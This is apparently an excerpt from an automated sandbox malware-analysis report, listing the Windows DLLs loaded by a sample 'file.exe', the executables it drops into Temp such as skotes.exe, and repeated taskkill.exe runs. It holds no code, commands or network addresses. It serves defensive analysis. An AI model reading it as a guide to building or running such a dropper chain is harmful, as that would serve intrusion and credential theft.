Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Section loaded: mstask.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Section loaded: dui70.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Section loaded: duser.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Section loaded: chartv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Section loaded: oleacc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Section loaded: atlthunk.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Section loaded: wtsapi32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Section loaded: windows.fileexplorer.common.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Section loaded: explorerframe.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe Section loaded: rstrtmgr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Section loaded: uxtheme.dll
